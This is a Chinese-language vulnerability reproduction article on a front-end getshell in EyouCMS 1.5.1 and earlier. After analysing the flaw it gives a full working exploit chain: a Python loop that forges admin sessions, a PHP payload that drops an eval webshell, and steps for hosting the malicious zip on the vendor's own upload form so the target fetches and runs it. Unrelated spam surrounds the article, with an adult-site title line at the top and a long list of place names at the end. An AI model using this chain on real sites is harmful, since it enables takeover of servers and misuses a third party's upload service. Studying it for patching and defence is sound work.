中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行EyouCMS V1.5.1 前臺getshell漏洞復現

發布時間:2022-01-14 22:44:06 來源:億速云 閱讀:2978 作者:柒染 欄目:安全技術

這篇文章將為大家詳細講解有關如何進行EyouCMS V1.5.1 前臺getshell漏洞復現,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。

0x00 漏洞簡介

贊贊網絡科技 EyouCMS(易優CMS)是中國贊贊網絡科技公司的一套基于ThinkPHP的開源內容管理系統(CMS)。

Eyoucms v1.5.1 及以前版本存在任意用戶后臺登陸與文件包含漏洞,該漏洞使攻擊者可以通過調用api,在前臺設置一個管理員的session,后臺遠程插件下載文件包含getshell。

0x01 影響版本

EyouCMS <= 1.5.1

0x02 環境搭建

下載
官網下載V1.5.1版本
下載連接:https://qiniu.eyoucms.com/EyouCMS-V1.5.1-UTF8-SP3_142.zip

安裝
通過phpstudy集成環境簡單部署
如何進行EyouCMS V1.5.1 前臺getshell漏洞復現

0x03 漏洞分析

前臺設置管理員session在application/api/controller/Ajax.php:215

如何進行EyouCMS V1.5.1 前臺getshell漏洞復現

get_token

函數是可以前臺隨意調用的,另外形參中的

$name

變量也是通過http傳遞進來的。跟進token函數,如下圖所示。
如何進行EyouCMS V1.5.1 前臺getshell漏洞復現

高亮處有一個設置session的操作,名字是可控的,而值是請求時間戳md5的值。不可控。
可以嘗試通過這個設置session的操作,構造出一個后臺管理員的session。然后我們梳理一下后臺管理員的登錄邏輯。在application/admin/controller/Base.php:54如何進行EyouCMS V1.5.1 前臺getshell漏洞復現

這里涉及到了兩個session,一個admin_login_expire,一個admin_id

if (session('?admin_id') && getTime() - intval($admin_login_expire) < $web_login_expiretime)

admin_login_expire

(該session會做減法的校驗,需要滿足一定條件)

admin_id

(該session有就即可,不會驗證其值)
設置完這兩個session后,我們繼續看到if條件判斷里還有一個

check_priv

函數,跟進查看:
如何進行EyouCMS V1.5.1 前臺getshell漏洞復現

if (0 >= intval(session('admin_info.role_id')))

admin_info.role_id

(滿足小于等于0即可)
設置完三個session后,就可以進后臺了,如圖所示:
如何進行EyouCMS V1.5.1 前臺getshell漏洞復現

后臺遠程插件下載getshell在application/admin/controller/Weapp.php:1235如何進行EyouCMS V1.5.1 前臺getshell漏洞復現

這里傳進來一個$url,然后做一個url解析,需要滿足host為eyoucms.com。
也就是程序限制只能從官網下載插件安裝,但是這個校驗太簡單了,可以繞。
然后下文就是請求這個下載鏈接,做解壓操作,并包含進來config.php。
如何進行EyouCMS V1.5.1 前臺getshell漏洞復現

這后面再做的插件標準判斷已經不起作用了。

0x04 漏洞利用

前臺設置一個管理員的session
首先我們可以先取出成功登陸后的管理員session與未登錄的普通用戶session做對比
管理員:
如何進行EyouCMS V1.5.1 前臺getshell漏洞復現

普通用戶:
如何進行EyouCMS V1.5.1 前臺getshell漏洞復現

調用get_token函數設置名為admin_login_expire的session
如何進行EyouCMS V1.5.1 前臺getshell漏洞復現

再查看該普通用戶的session
如何進行EyouCMS V1.5.1 前臺getshell漏洞復現

已成功設置。
同樣的我們可以把admin_id與admin_info.roke_id添加進去。
但是這md5字符串顯然不符合漏洞分析中的要求,所以這里通過腳本不斷刷新session,直到尋找到合適的md5值

while 1 :
    admin_login_expire = api_psot("admin_login_expire")
    num_10 = admin_login_expire[2:12]
    if is_number(num_10):
        print("admin_login_expire=",num_10)
        break
while 1 :
    role_id = api_psot("admin_info.role_id")
    num_1 = role_id[2:3]
    if num_1 in ["a","b","c","d","e","f"]:
        print("role_id=",num_1)
        break
admin_id = api_psot("admin_id")
print("admin_id=",admin_id[2:-1])

運行結果:
如何進行EyouCMS V1.5.1 前臺getshell漏洞復現

session:
如何進行EyouCMS V1.5.1 前臺getshell漏洞復現

再經過application/admin/controller/Base.php:58和:106的intval()的轉換:
如何進行EyouCMS V1.5.1 前臺getshell漏洞復現

成功使用該PHPSESSID進入后臺:
如何進行EyouCMS V1.5.1 前臺getshell漏洞復現

后臺遠程插件下載文件包含getshell
然后開始制作惡意壓縮包,文件目錄結構如下:

weappp\weapp\test\config.phpconfig.php

文件內容為寫入webshell

<?php  file_put_contents("./uploads/allimg/news_2021.php",base64_decode("PD9waHAgcGhwaW5mbygpO0BldmFsKCRfUE9TVFttb3Z4XSk7Pz4="));
?>

壓縮成weappp.zip,修改后綴為jpg
如何進行EyouCMS V1.5.1 前臺getshell漏洞復現

到eyoucms.com官網尋找圖片上傳點
比如這個提問模塊的問題描述:
https://www.eyoucms.com/ask/
如何進行EyouCMS V1.5.1 前臺getshell漏洞復現

獲取到上傳的圖片地址:
https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
直接在瀏覽器中請求下載該插件:
http://192.168.58.180/login.php?m=admin&c=weapp&a=downloadInstall&url=https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
如何進行EyouCMS V1.5.1 前臺getshell漏洞復現

此時webshell已成功寫入:
如何進行EyouCMS V1.5.1 前臺getshell漏洞復現

訪問webshell:
如何進行EyouCMS V1.5.1 前臺getshell漏洞復現

0x05 修復建議

升級EyouCMS至V1.5.2或以后版本。

關于如何進行EyouCMS V1.5.1 前臺getshell漏洞復現就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

巴马| 秀山| 金阳县| 乳山市| 沭阳县| 巴马| 沾化县| 墨竹工卡县| 弥勒县| 漠河县| 湄潭县| 焉耆| 德兴市| 清远市| 宁河县| 克山县| 文登市| 武夷山市| 昌宁县| 来凤县| 桃江县| 仙桃市| 东阳市| 阿巴嘎旗| 平陆县| 盐池县| 屏山县| 合肥市| 怀柔区| 合江县| 定陶县| 西贡区| 星子县| 东乡族自治县| 万山特区| 清镇市| 苗栗市| 沭阳县| 青川县| 文山县| 定边县|